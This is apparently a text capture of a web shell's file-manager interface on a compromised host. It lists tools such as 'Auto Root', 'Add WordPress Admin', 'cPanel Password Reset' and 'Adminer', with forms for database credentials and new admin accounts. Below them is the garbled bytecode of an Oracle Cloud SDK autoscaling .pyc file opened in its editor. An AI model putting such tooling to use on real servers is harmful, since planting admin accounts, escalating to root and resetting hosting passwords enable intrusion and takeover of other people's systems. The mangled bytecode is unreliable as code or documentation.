Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
autoscaling
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: create_threshold_policy_details.cpython-39.pyc
a ���f� � @ sD d dl mZ ddlmZmZmZ ddlmZ eG dd� de��ZdS )� )�CreateAutoScalingPolicyDetails� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sJ e Zd ZdZdd� Zedd� �Zejdd� �Zdd� Zd d � Z dd� Z d S )�CreateThresholdPolicyDetailsz� Creation details for a threshold-based autoscaling policy. In a threshold-based autoscaling policy, an autoscaling action is triggered when a performance metric meets or exceeds a threshold. c K sL dddddd�| _ dddd d d�| _d| _d| _d| _d| _d| _d| _dS ) a� Initializes a new CreateThresholdPolicyDetails object with values from keyword arguments. The default value of the :py:attr:`~oci.autoscaling.models.CreateThresholdPolicyDetails.policy_type` attribute of this class is ``threshold`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param capacity: The value to assign to the capacity property of this CreateThresholdPolicyDetails. :type capacity: oci.autoscaling.models.Capacity :param display_name: The value to assign to the display_name property of this CreateThresholdPolicyDetails. :type display_name: str :param policy_type: The value to assign to the policy_type property of this CreateThresholdPolicyDetails. :type policy_type: str :param is_enabled: The value to assign to the is_enabled property of this CreateThresholdPolicyDetails. :type is_enabled: bool :param rules: The value to assign to the rules property of this CreateThresholdPolicyDetails. :type rules: list[oci.autoscaling.models.CreateConditionDetails] ZCapacity�str�boolzlist[CreateConditionDetails])�capacityZdisplay_nameZpolicy_typeZ is_enabled�rulesr ZdisplayNameZ policyTypeZ isEnabledr NZ threshold)Z swagger_typesZ attribute_mapZ _capacityZ _display_nameZ_policy_typeZ_is_enabled�_rules)�self�kwargs� r �Z/usr/lib/python3.9/site-packages/oci/autoscaling/models/create_threshold_policy_details.py�__init__ s$ � �z%CreateThresholdPolicyDetails.__init__c C s | j S )z� **[Required]** Gets the rules of this CreateThresholdPolicyDetails. :return: The rules of this CreateThresholdPolicyDetails. :rtype: list[oci.autoscaling.models.CreateConditionDetails] �r �r r r r r G s z"CreateThresholdPolicyDetails.rulesc C s || _ dS )z� Sets the rules of this CreateThresholdPolicyDetails. :param rules: The rules of this CreateThresholdPolicyDetails. :type: list[oci.autoscaling.models.CreateConditionDetails] Nr )r r r r r r Q s c C s t | �S �N)r r r r r �__repr__[ s z%CreateThresholdPolicyDetails.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__^ s z#CreateThresholdPolicyDetails.__eq__c C s | |k S r r r r r r �__ne__d s z#CreateThresholdPolicyDetails.__ne__N)�__name__� __module__�__qualname__�__doc__r �propertyr �setterr r r r r r r r s 2 r N) Z"create_auto_scaling_policy_detailsr Zoci.utilr r r Zoci.decoratorsr r r r r r �<module> s